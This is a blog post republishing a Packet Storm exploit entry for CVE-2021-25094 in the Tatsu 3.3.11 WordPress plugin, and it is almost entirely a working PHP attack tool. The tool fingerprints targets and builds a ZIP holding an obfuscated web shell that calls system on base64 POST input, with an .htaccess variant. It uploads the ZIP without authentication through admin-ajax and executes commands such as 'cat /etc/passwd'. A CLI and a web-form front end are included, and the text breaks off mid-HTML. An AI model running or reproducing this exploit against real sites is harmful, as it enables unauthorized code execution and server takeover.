{"id":39475,"date":"2026-02-06T13:53:19","date_gmt":"2026-02-06T13:53:19","guid":{"rendered":"http:\/\/localhost\/?p=39475"},"modified":"2026-02-06T13:53:19","modified_gmt":"2026-02-06T13:53:19","slug":"wordpress-tatsu-3311-shell-upload","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=39475","title":{"rendered":"\ud83d\udcc4 WordPress Tatsu 3.3.11 Shell Upload_PACKETSTORM:215075"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-06T18:45:49&#8243;,&#8221;description&#8221;:&#8221;WordPress Tatsu plugin version 3.3.11 proof of concept unauthenticated remote shell upload exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-06T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-06T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress Tatsu 3.3.11 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215075&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2021-25094&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : WordPress Tatsu 3.3.11 Plugin Unauthenticated File Upload                                                                   |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/tatsubuilder.com\/                                                                                                   |\\n    =============================================================================================================================================\\n    \\n    [+] References :  https:\/\/packetstorm.news\/files\/id\/190566\/ \\u0026 \\tCVE-2021-25094\\n    \\n    [+] Summary : \\n                 Critical unauthenticated remote code execution vulnerability in Tatsu WordPress Plugin (versions 3.3.11) \\n    \\t\\t\\t allowing attackers to upload and execute arbitrary PHP code through malicious ZIP file uploads without any authentication.\\n    \\t\\t\\t \\n    [+]  POC : \\n    \\n    php poc.php  or http:\/\/127.0.0.1\/poc.php \\n    \\n    \\u003c?php\\n    \/*\\n     * Tatsu WordPress Plugin Pre-Auth RCE Exploit\\n     * CVE-2021-25094\\n     * by indoushka\\n     * PHP Implementation based on Python exploit\\n     *\/\\n    \\n    class TatsuRCEExploit {\\n        private $target;\\n        private $port;\\n        private $ssl;\\n        private $base_path;\\n        private $timeout;\\n        private $headers;\\n        private $zip_name;\\n        private $shell_filename;\\n        \\n        public function __construct($target, $port = 80, $ssl = false, $base_path = &#8216;\/&#8217;) {\\n            $this-\\u003etarget = $target;\\n            $this-\\u003eport = $port;\\n            $this-\\u003essl = $ssl;\\n            $this-\\u003ebase_path = rtrim($base_path, &#8216;\/&#8217;);\\n            $this-\\u003etimeout = 30;\\n            $this-\\u003eheaders = [\\n                &#8216;X-Requested-With: XMLHttpRequest&#8217;,\\n                &#8216;User-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/90.0.4430.212 Safari\/537.36&#8217;,\\n                &#8216;Accept: *\/*&#8217;,\\n                &#8216;Accept-Language: en-US,en;q=0.9&#8217;\\n            ];\\n        }\\n        \\n        \/**\\n         * Check if target is vulnerable\\n         *\/\\n        public function check() {\\n            echo \\&#8221;[*] Checking Tatsu WordPress Plugin vulnerability&#8230;\\\\n\\&#8221;;\\n            \\n            \/\/ Check if WordPress is accessible\\n            $res = $this-\\u003esend_request(&#8216;\/&#8217;);\\n            if (!$res || $res[&#8216;code&#8217;] != 200) {\\n                echo \\&#8221;[-] Cannot access WordPress site\\\\n\\&#8221;;\\n                return \\&#8221;unknown\\&#8221;;\\n            }\\n            \\n            \/\/ Check Tatsu plugin\\n            $res = $this-\\u003esend_request(&#8216;\/wp-content\/plugins\/tatsu\/&#8217;);\\n            if ($res \\u0026\\u0026 $res[&#8216;code&#8217;] == 200) {\\n                echo \\&#8221;[+] Tatsu plugin detected\\\\n\\&#8221;;\\n                \\n                \/\/ Try to check version from changelog\\n                $version = $this-\\u003echeck_version();\\n                if ($version \\u0026\\u0026 $this-\\u003eis_version_vulnerable($version)) {\\n                    echo \\&#8221;[+] \u2713 Tatsu version $version is vulnerable\\\\n\\&#8221;;\\n                    return \\&#8221;vulnerable\\&#8221;;\\n                } else {\\n                    echo \\&#8221;[+] Tatsu plugin found (version check failed)\\\\n\\&#8221;;\\n                    return \\&#8221;likely_vulnerable\\&#8221;;\\n                }\\n            }\\n            \\n            echo \\&#8221;[-] Tatsu plugin not found\\\\n\\&#8221;;\\n            return \\&#8221;safe\\&#8221;;\\n        }\\n        \\n        \/**\\n         * Check Tatsu version\\n         *\/\\n        private function check_version() {\\n            $res = $this-\\u003esend_request(&#8216;\/wp-content\/plugins\/tatsu\/changelog.md&#8217;);\\n            if ($res \\u0026\\u0026 $res[&#8216;code&#8217;] == 200) {\\n                if (preg_match(&#8216;\/v?(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)\/&#8217;, $res[&#8216;body&#8217;], $matches)) {\\n                    return $matches[1];\\n                }\\n            }\\n            return null;\\n        }\\n        \\n        \/**\\n         * Check if version is vulnerable\\n         *\/\\n        private function is_version_vulnerable($version) {\\n            return version_compare($version, &#8216;3.3.11&#8217;, &#8216;\\u003c=&#8217;);\\n        }\\n        \\n        \/**\\n         * Generate malicious ZIP file\\n         *\/\\n        private function generate_zip($technique = &#8216;php&#8217;, $custom_shell = null, $keep = false) {\\n            echo \\&#8221;[*] Generating malicious ZIP file&#8230;\\\\n\\&#8221;;\\n            \\n            $zip = new ZipArchive();\\n            $zip_filename = tempnam(sys_get_temp_dir(), &#8216;tatsu_&#8217;) . &#8216;.zip&#8217;;\\n            \\n            if ($zip-\\u003eopen($zip_filename, ZipArchive::CREATE) !== TRUE) {\\n                return false;\\n            }\\n            \\n            $this-\\u003ezip_name = $this-\\u003erandom_string(3);\\n            $this-\\u003eshell_filename = &#8216;.&#8217; . $this-\\u003erandom_string(5);\\n            \\n            switch ($technique) {\\n                case &#8216;php&#8217;:\\n                    $shell_content = $this-\\u003egenerate_php_shell($keep);\\n                    $this-\\u003eshell_filename .= &#8216;.php&#8217;;\\n                    break;\\n                    \\n                case &#8216;htaccess&#8217;:\\n                    $shell_content = $this-\\u003egenerate_htaccess_shell($keep);\\n                    $this-\\u003eshell_filename .= &#8216;.png&#8217;;\\n                    break;\\n                    \\n                case &#8216;custom&#8217;:\\n                    if ($custom_shell \\u0026\\u0026 file_exists($custom_shell)) {\\n                        $shell_content = file_get_contents($custom_shell);\\n                        $this-\\u003eshell_filename = &#8216;.&#8217; . basename($custom_shell);\\n                    } else {\\n                        echo \\&#8221;[-] Custom shell file not found\\\\n\\&#8221;;\\n                        return false;\\n                    }\\n                    break;\\n                    \\n                default:\\n                    echo \\&#8221;[-] Unknown technique: $technique\\\\n\\&#8221;;\\n                    return false;\\n            }\\n            \\n            if ($technique == &#8216;htaccess&#8217;) {\\n                $zip-\\u003eaddFromString(&#8216;.htaccess&#8217;, \\&#8221;AddType application\/x-httpd-php .png\\\\n\\&#8221;);\\n            }\\n            \\n            $zip-\\u003eaddFromString($this-\\u003eshell_filename, $shell_content);\\n            $zip-\\u003eclose();\\n            \\n            $zip_content = file_get_contents($zip_filename);\\n            unlink($zip_filename);\\n            \\n            return $zip_content;\\n        }\\n        \\n        \/**\\n         * Generate PHP shell\\n         *\/\\n        private function generate_php_shell($keep = false) {\\n            $shell = &#8216;\\u003c?php &#8216;;\\n            $shell .= &#8216;$f = \\&#8221;lmeyst\\&#8221;;&#8217;;\\n            $shell .= &#8216;@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];&#8217;;\\n            $shell .= &#8216;@$words = array(base64_decode($_POST[\\\\&#8217;text\\\\&#8217;]));&#8217;;\\n            $shell .= &#8216;$j=\\&#8221;array\\&#8221;.\\&#8221;_\\&#8221;.\\&#8221;filter\\&#8221;;&#8217;;\\n            $shell .= &#8216;@$filtered_words = $j($words, $a);&#8217;;\\n            if (!$keep) {\\n                $shell .= &#8216;@unlink(__FILE__);&#8217;;\\n            }\\n            $shell .= &#8216;?\\u003e&#8217;;\\n            \\n            return $shell;\\n        }\\n        \\n        \/**\\n         * Generate .htaccess + PHP shell\\n         *\/\\n        private function generate_htaccess_shell($keep = false) {\\n            $shell = &#8216;\\u003c?php &#8216;;\\n            $shell .= &#8216;$f = \\&#8221;lmeyst\\&#8221;;&#8217;;\\n            $shell .= &#8216;@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];&#8217;;\\n            $shell .= &#8216;@$words = array(base64_decode($_POST[\\\\&#8217;text\\\\&#8217;]));&#8217;;\\n            $shell .= &#8216;$j=\\&#8221;array\\&#8221;.\\&#8221;_\\&#8221;.\\&#8221;filter\\&#8221;;&#8217;;\\n            $shell .= &#8216;@$filtered_words = $j($words, $a);&#8217;;\\n            if (!$keep) {\\n                $shell .= &#8216;@unlink(\\\\&#8217;.\\\\&#8217;+\\\\&#8217;h\\\\&#8217;+\\\\&#8217;t\\\\&#8217;+\\\\&#8217;a\\\\&#8217;+\\\\&#8217;cc\\\\&#8217;+\\\\&#8217;e\\\\&#8217;+\\\\&#8217;ss\\\\&#8217;);&#8217;;\\n                $shell .= &#8216;@unlink(__FILE__);&#8217;;\\n            }\\n            $shell .= &#8216;?\\u003e&#8217;;\\n            \\n            return $shell;\\n        }\\n        \\n        \/**\\n         * Upload malicious ZIP\\n         *\/\\n        private function upload_zip($zip_content) {\\n            echo \\&#8221;[*] Uploading malicious ZIP file&#8230;\\\\n\\&#8221;;\\n            \\n            $boundary = &#8216;&#8212;-WebKitFormBoundary&#8217; . $this-\\u003erandom_string(16);\\n            \\n            $data = \\&#8221;&#8211;{$boundary}\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;Content-Disposition: form-data; name=\\\\\\&#8221;action\\\\\\&#8221;\\\\r\\\\n\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;add_custom_font\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;&#8211;{$boundary}\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;Content-Disposition: form-data; name=\\\\\\&#8221;file\\\\\\&#8221;; filename=\\\\\\&#8221;{$this-\\u003ezip_name}.zip\\\\\\&#8221;\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;Content-Type: application\/zip\\\\r\\\\n\\\\r\\\\n\\&#8221;;\\n            $data .= $zip_content . \\&#8221;\\\\r\\\\n\\&#8221;;\\n            $data .= \\&#8221;&#8211;{$boundary}&#8211;\\\\r\\\\n\\&#8221;;\\n            \\n            $headers = array_merge($this-\\u003eheaders, [\\n                \\&#8221;Content-Type: multipart\/form-data; boundary={$boundary}\\&#8221;,\\n                \\&#8221;Content-Length: \\&#8221; . strlen($data)\\n            ]);\\n            \\n            $res = $this-\\u003esend_request(&#8216;\/wp-admin\/admin-ajax.php&#8217;, &#8216;POST&#8217;, [], $data, $headers);\\n            \\n            if ($res \\u0026\\u0026 $res[&#8216;code&#8217;] == 200) {\\n                $json = json_decode($res[&#8216;body&#8217;], true);\\n                if ($json \\u0026\\u0026 isset($json[&#8216;status&#8217;]) \\u0026\\u0026 $json[&#8216;status&#8217;] == &#8216;success&#8217;) {\\n                    echo \\&#8221;[+] ZIP file uploaded successfully\\\\n\\&#8221;;\\n                    if (isset($json[&#8216;name&#8217;])) {\\n                        $this-\\u003ezip_name = $json[&#8216;name&#8217;];\\n                    }\\n                    return true;\\n                }\\n            }\\n            \\n            echo \\&#8221;[-] ZIP upload failed\\\\n\\&#8221;;\\n            if ($res) {\\n                echo \\&#8221;[-] HTTP {$res[&#8216;code&#8217;]}: {$res[&#8216;body&#8217;]}\\\\n\\&#8221;;\\n            }\\n            return false;\\n        }\\n        \\n        \/**\\n         * Execute command via uploaded shell\\n         *\/\\n        public function execute_command($command, $technique = &#8216;php&#8217;, $custom_shell = null, $keep = false) {\\n            echo \\&#8221;[*] Executing command: $command\\\\n\\&#8221;;\\n            \\n            \/\/ Generate and upload ZIP\\n            $zip_content = $this-\\u003egenerate_zip($technique, $custom_shell, $keep);\\n            if (!$zip_content) {\\n                echo \\&#8221;[-] Failed to generate ZIP file\\\\n\\&#8221;;\\n                return false;\\n            }\\n            \\n            if (!$this-\\u003eupload_zip($zip_content)) {\\n                return false;\\n            }\\n            \\n            \/\/ Build shell URL\\n            $shell_url = \\&#8221;\/wp-content\/uploads\/typehub\/custom\/{$this-\\u003ezip_name}\/{$this-\\u003eshell_filename}\\&#8221;;\\n            echo \\&#8221;[+] Shell URL: {$this-\\u003ebuild_url($shell_url)}\\\\n\\&#8221;;\\n            \\n            \/\/ Execute command\\n            $encoded_cmd = base64_encode($command);\\n            $post_data = \\&#8221;text={$encoded_cmd}\\&#8221;;\\n            \\n            $headers = array_merge($this-\\u003eheaders, [\\n                &#8216;Content-Type: application\/x-www-form-urlencoded&#8217;,\\n                &#8216;Content-Length: &#8216; . strlen($post_data)\\n            ]);\\n            \\n            $res = $this-\\u003esend_request($shell_url, &#8216;POST&#8217;, [], $post_data, $headers);\\n            \\n            if ($res \\u0026\\u0026 $res[&#8216;code&#8217;] == 200) {\\n                echo \\&#8221;[+] Command executed successfully\\\\n\\&#8221;;\\n                echo \\&#8221;[+] Output:\\\\n{$res[&#8216;body&#8217;]}\\\\n\\&#8221;;\\n                return true;\\n            } else {\\n                echo \\&#8221;[-] Command execution failed\\\\n\\&#8221;;\\n                if ($res) {\\n                    echo \\&#8221;[-] HTTP {$res[&#8216;code&#8217;]}\\\\n\\&#8221;;\\n                }\\n                return false;\\n            }\\n        }\\n        \\n        \/**\\n         * Full exploitation\\n         *\/\\n        public function exploit($command = &#8216;whoami&#8217;, $technique = &#8216;php&#8217;, $custom_shell = null, $keep = false) {\\n            echo \\&#8221;[*] Starting Tatsu WordPress Plugin exploitation&#8230;\\\\n\\&#8221;;\\n            \\n            \/\/ Check vulnerability first\\n            $status = $this-\\u003echeck();\\n            if ($status !== \\&#8221;vulnerable\\&#8221; \\u0026\\u0026 $status !== \\&#8221;likely_vulnerable\\&#8221;) {\\n                echo \\&#8221;[-] Target does not appear to be vulnerable\\\\n\\&#8221;;\\n                return false;\\n            }\\n            \\n            echo \\&#8221;[*] Target appears vulnerable, proceeding with exploitation&#8230;\\\\n\\&#8221;;\\n            \\n            if ($this-\\u003eexecute_command($command, $technique, $custom_shell, $keep)) {\\n                echo \\&#8221;[+] \u2713 Exploitation completed successfully\\\\n\\&#8221;;\\n                return true;\\n            } else {\\n                echo \\&#8221;[-] Exploitation failed\\\\n\\&#8221;;\\n                return false;\\n            }\\n        }\\n        \\n        \/**\\n         * Send HTTP request\\n         *\/\\n        private function send_request($path, $method = &#8216;GET&#8217;, $params = [], $data = null, $custom_headers = []) {\\n            $url = $this-\\u003ebuild_url($path);\\n            \\n            if ($method == &#8216;GET&#8217; \\u0026\\u0026 !empty($params)) {\\n                $url .= &#8216;?&#8217; . http_build_query($params);\\n            }\\n            \\n            $ch = curl_init();\\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $url,\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_TIMEOUT =\\u003e $this-\\u003etimeout,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n                CURLOPT_CUSTOMREQUEST =\\u003e $method,\\n                CURLOPT_FOLLOWLOCATION =\\u003e false,\\n                CURLOPT_HEADER =\\u003e false\\n            ]);\\n            \\n            \/\/ Add POST data if provided\\n            if ($method == &#8216;POST&#8217; \\u0026\\u0026 $data) {\\n                curl_setopt($ch, CURLOPT_POSTFIELDS, $data);\\n            }\\n            \\n            \/\/ Build headers\\n            $headers = array_merge($this-\\u003eheaders, $custom_headers);\\n            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);\\n            \\n            $response = curl_exec($ch);\\n            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n            curl_close($ch);\\n            \\n            if ($response !== false) {\\n                return [\\n                    &#8216;code&#8217; =\\u003e $http_code,\\n                    &#8216;body&#8217; =\\u003e $response\\n                ];\\n            }\\n            \\n            return false;\\n        }\\n        \\n        \/**\\n         * Generate random string\\n         *\/\\n        private function random_string($length = 8) {\\n            $chars = &#8216;abcdefghijklmnopqrstuvwxyz&#8217;;\\n            $result = &#8221;;\\n            for ($i = 0; $i \\u003c $length; $i++) {\\n                $result .= $chars[rand(0, strlen($chars) &#8211; 1)];\\n            }\\n            return $result;\\n        }\\n        \\n        \/**\\n         * Build full URL\\n         *\/\\n        private function build_url($path) {\\n            $protocol = $this-\\u003essl ? &#8216;https&#8217; : &#8216;http&#8217;;\\n            $full_path = $this-\\u003ebase_path . $path;\\n            return \\&#8221;{$protocol}:\/\/{$this-\\u003etarget}:{$this-\\u003eport}{$full_path}\\&#8221;;\\n        }\\n    }\\n    \\n    \/\/ CLI Interface\\n    if (php_sapi_name() === &#8216;cli&#8217;) {\\n        echo \\&#8221;\\n        \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n        \u2551                Tatsu WordPress Plugin RCE                   \u2551\\n        \u2551                      CVE-2021-25094                         \u2551\\n        \u2551                     PHP Implementation                      \u2551\\n        \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n        \\n        \\\\n\\&#8221;;\\n        \\n        $options = getopt(\\&#8221;t:p:s:u:cC:T:k\\&#8221;, [\\n            \\&#8221;target:\\&#8221;,\\n            \\&#8221;port:\\&#8221;,\\n            \\&#8221;ssl\\&#8221;,\\n            \\&#8221;uri:\\&#8221;,\\n            \\&#8221;check\\&#8221;,\\n            \\&#8221;command:\\&#8221;,\\n            \\&#8221;technique:\\&#8221;,\\n            \\&#8221;custom-shell:\\&#8221;,\\n            \\&#8221;keep\\&#8221;\\n        ]);\\n        \\n        $target = $options[&#8216;t&#8217;] ?? $options[&#8216;target&#8217;] ?? null;\\n        $port = $options[&#8216;p&#8217;] ?? $options[&#8216;port&#8217;] ?? 80;\\n        $ssl = isset($options[&#8216;s&#8217;]) || isset($options[&#8216;ssl&#8217;]);\\n        $base_uri = $options[&#8216;u&#8217;] ?? $options[&#8216;uri&#8217;] ?? &#8216;\/&#8217;;\\n        $check_only = isset($options[&#8216;c&#8217;]) || isset($options[&#8216;check&#8217;]);\\n        $command = $options[&#8216;C&#8217;] ?? $options[&#8216;command&#8217;] ?? &#8216;whoami&#8217;;\\n        $technique = $options[&#8216;T&#8217;] ?? $options[&#8216;technique&#8217;] ?? &#8216;php&#8217;;\\n        $custom_shell = $options[&#8216;custom-shell&#8217;] ?? null;\\n        $keep = isset($options[&#8216;k&#8217;]) || isset($options[&#8216;keep&#8217;]);\\n        \\n        if (!$target) {\\n            echo \\&#8221;Usage: php tatsu_exploit.php [options]\\\\n\\&#8221;;\\n            echo \\&#8221;Options:\\\\n\\&#8221;;\\n            echo \\&#8221;  -t, &#8211;target        Target host (required)\\\\n\\&#8221;;\\n            echo \\&#8221;  -p, &#8211;port          Target port (default: 80)\\\\n\\&#8221;;\\n            echo \\&#8221;  -s, &#8211;ssl           Use SSL (default: false)\\\\n\\&#8221;;\\n            echo \\&#8221;  -u, &#8211;uri           Base URI path (default: \/)\\\\n\\&#8221;;\\n            echo \\&#8221;  -c, &#8211;check         Check only (don&#8217;t exploit)\\\\n\\&#8221;;\\n            echo \\&#8221;  -C, &#8211;command       Command to execute (default: whoami)\\\\n\\&#8221;;\\n            echo \\&#8221;  -T, &#8211;technique     Shell technique: php, htaccess, custom (default: php)\\\\n\\&#8221;;\\n            echo \\&#8221;  &#8211;custom-shell      Custom shell file path (for custom technique)\\\\n\\&#8221;;\\n            echo \\&#8221;  -k, &#8211;keep          Keep shell file after execution\\\\n\\&#8221;;\\n            echo \\&#8221;\\\\nExamples:\\\\n\\&#8221;;\\n            echo \\&#8221;  php tatsu_exploit.php -t wordpress.example.com -c\\\\n\\&#8221;;\\n            echo \\&#8221;  php tatsu_exploit.php -t 192.168.1.100 -C &#8216;id; uname -a&#8217;\\\\n\\&#8221;;\\n            echo \\&#8221;  php tatsu_exploit.php -t site.com -T htaccess -C &#8216;cat \/etc\/passwd&#8217;\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        $exploit = new TatsuRCEExploit($target, $port, $ssl, $base_uri);\\n        \\n        if ($check_only) {\\n            $result = $exploit-\\u003echeck();\\n            echo \\&#8221;\\\\n[*] Result: {$result}\\\\n\\&#8221;;\\n        } else {\\n            if ($exploit-\\u003eexploit($command, $technique, $custom_shell, $keep)) {\\n                echo \\&#8221;[+] Exploitation completed successfully\\\\n\\&#8221;;\\n            } else {\\n                echo \\&#8221;[-] Exploitation failed\\\\n\\&#8221;;\\n            }\\n        }\\n        \\n    } else {\\n        \/\/ Web Interface\\n        $action = $_POST[&#8216;action&#8217;] ?? &#8221;;\\n        \\n        if ($action === &#8216;check&#8217; || $action === &#8216;exploit&#8217;) {\\n            $target = $_POST[&#8216;target&#8217;] ?? &#8221;;\\n            $port = $_POST[&#8216;port&#8217;] ?? 80;\\n            $ssl = isset($_POST[&#8216;ssl&#8217;]);\\n            $base_uri = $_POST[&#8216;uri&#8217;] ?? &#8216;\/&#8217;;\\n            $command = $_POST[&#8216;command&#8217;] ?? &#8216;whoami&#8217;;\\n            $technique = $_POST[&#8216;technique&#8217;] ?? &#8216;php&#8217;;\\n            $keep = isset($_POST[&#8216;keep&#8217;]);\\n            \\n            if (empty($target)) {\\n                echo \\&#8221;\\u003cdiv style=&#8217;color: red; padding: 10px; border: 1px solid red; margin: 10px;&#8217;\\u003eTarget host is required\\u003c\/div\\u003e\\&#8221;;\\n            } else {\\n                $exploit = new TatsuRCEExploit($target, $port, $ssl, $base_uri);\\n                \\n                ob_start();\\n                if ($action === &#8216;check&#8217;) {\\n                    $exploit-\\u003echeck();\\n                } else {\\n                    $exploit-\\u003eexploit($command, $technique, null, $keep);\\n                }\\n                $output = ob_get_clean();\\n                \\n                echo \\&#8221;\\u003cpre style=&#8217;background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;&#8217;\\u003e$output\\u003c\/pre\\u003e\\&#8221;;\\n            }\\n            \\n            echo &#8216;\\u003ca href=\\&#8221;&#8216; . htmlspecialchars($_SERVER[&#8216;PHP_SELF&#8217;]) . &#8216;\\&#8221; style=\\&#8221;display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;\\&#8221;\\u003eBack to Form\\u003c\/a\\u003e&#8217;;\\n            \\n        } else {\\n            \/\/ Display the form\\n            echo &#8216;\\u003c!DOCTYPE html\\u003e\\n            \\u003chtml\\u003e\\n            \\u003chead\\u003e\\n                \\u003ctitle\\u003eTatsu WordPress Plugin RCE &#8211; CVE-2021-25094\\u003c\/title\\u003e\\n                \\u003cmeta charset=\\&#8221;UTF-8\\&#8221;\\u003e\\n                \\u003cstyle\\u003e\\n                    body { \\n                        font-family: Arial, sans-serif; \\n                        margin: 0; \\n                        padding: 20px; \\n                        background: #f5f5f5;\\n                    }\\n                    .container { \\n                        max-width: 800px; \\n                        margin: 0 auto; \\n                        background: white;\\n                        padding: 30px;\\n                        border-radius: 8px;\\n                        box-shadow: 0 2px 10px rgba(0,0,0,0.1);\\n                    }\\n                    h1 { \\n                        color: #333; \\n                        border-bottom: 2px solid #007cba;\\n                        padding-bottom: 10px;\\n                    }\\n                    .form-group { \\n                        margin-bottom: 20px; \\n                    }\\n                    label { \\n                        display: block; \\n                        margin-bottom: 8px; \\n                        font-weight: bold;\\n                        color: #333;\\n                    }\\n                    input[type=\\&#8221;text\\&#8221;], select { \\n                        width: 100%; \\n                        padding: 10px; \\n                        border: 1px solid #ddd; \\n                        border-radius: 4px; \\n                        box-sizing: border-box;\\n                        font-size: 14px;\\n                    }\\n                    .checkbox-group {\\n                        display: flex;\\n                        align-items: center;\\n                        gap: 10px;\\n                    }\\n                    button { \\n                        background: #007cba; \\n                        color: white; \\n                        padding: 12px 25px; \\n                        border: none; \\n                        border-radius: 4px; \\n                        cursor: pointer; \\n                        margin-right: 10px;\\n                        font-size: 16px;\\n                    }\\n                    .danger { \\n                        background: #dc3545; \\n                    }\\n                    .info { \\n                        background: #17a2b8; \\n                    }\\n                    .warning-box {\\n                        background: #fff3cd;\\n                        border: 1px solid #ffeaa7;\\n                        color: #856404;\\n                        padding: 15px;\\n                        border-radius: 4px;\\n                        margin: 20px 0;\\n                    }\\n                    .info-box {\\n                        background: #d1ecf1;\\n                        border: 1px solid #bee5eb;\\n                        color: #0c5460;\\n                        padding: 15px;\\n                        border-radius: 4px;\\n                        margin: 20px 0;\\n                    }\\n                \\u003c\/style\\u003e\\n            \\u003c\/head\\u003e\\n            \\u003cbody\\u003e\\n                \\u003cdiv class=\\&#8221;container\\&#8221;\\u003e\\n                    \\u003ch1\\u003eTatsu WordPress Plugin RCE\\u003c\/h1\\u003e\\n                    \\u003ch3\\u003eCVE-2021-25094 &#8211; Unauthenticated Remote Code Execution\\u003c\/h3\\u003e\\n                    \\n                    \\u003cdiv class=\\&#8221;warning-box\\&#8221;\\u003e\\n                        \\u003cstrong\\u003e\u26a0\ufe0f Educational Use Only:\\u003c\/strong\\u003e This tool demonstrates a critical vulnerability in Tatsu WordPress Plugin.\\n                        Use only on systems you own or have explicit permission to test.\\n                    \\u003c\/div\\u003e\\n                    \\n                    \\u003cform method=\\&#8221;post\\&#8221;\\u003e\\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;target\\&#8221;\\u003eTarget Host:\\u003c\/label\\u003e\\n                            \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;target\\&#8221; name=\\&#8221;target\\&#8221; placeholder=\\&#8221;wordpress.example.com\\&#8221; required\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;port\\&#8221;\\u003ePort:\\u003c\/label\\u003e\\n                            \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;port\\&#8221; name=\\&#8221;port\\&#8221; value=\\&#8221;80\\&#8221;\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;uri\\&#8221;\\u003eBase URI:\\u003c\/label\\u003e\\n                            \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;uri\\&#8221; name=\\&#8221;uri\\&#8221; value=\\&#8221;\/\\&#8221;\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003cdiv class=\\&#8221;checkbox-group\\&#8221;\\u003e\\n                                \\u003cinput type=\\&#8221;checkbox\\&#8221; id=\\&#8221;ssl\\&#8221; name=\\&#8221;ssl\\&#8221;\\u003e\\n                                \\u003clabel for=\\&#8221;ssl\\&#8221; style=\\&#8221;display: inline; font-weight: normal;\\&#8221;\\u003eUse SSL\\u003c\/label\\u003e\\n                            \\u003c\/div\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;command\\&#8221;\\u003eCommand to Execute:\\u003c\/label\\u003e\\n                            \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;command\\&#8221; name=\\&#8221;command\\&#8221; value=\\&#8221;whoami\\&#8221;\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003clabel for=\\&#8221;technique\\&#8221;\\u003eShell Technique:\\u003c\/label\\u003e\\n                            \\u003cselect id=\\&#8221;technique\\&#8221; name=\\&#8221;technique\\&#8221;\\u003e\\n                                \\u003coption value=\\&#8221;php\\&#8221;\\u003ePHP Shell\\u003c\/option\\u003e\\n                                \\u003coption value=\\&#8221;htaccess\\&#8221;\\u003e.htaccess + PHP\\u003c\/option\\u003e\\n                            \\u003c\/select\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                            \\u003cdiv class=\\&#8221;checkbox-group\\&#8221;\\u003e\\n                                \\u003cinput type=\\&#8221;checkbox\\&#8221; id=\\&#8221;keep\\&#8221; name=\\&#8221;keep\\&#8221;\\u003e\\n                                \\u003clabel for=\\&#8221;keep\\&#8221; style=\\&#8221;display: inline; font-weight: normal;\\&#8221;\\u003eKeep shell file\\u003c\/label\\u003e\\n                            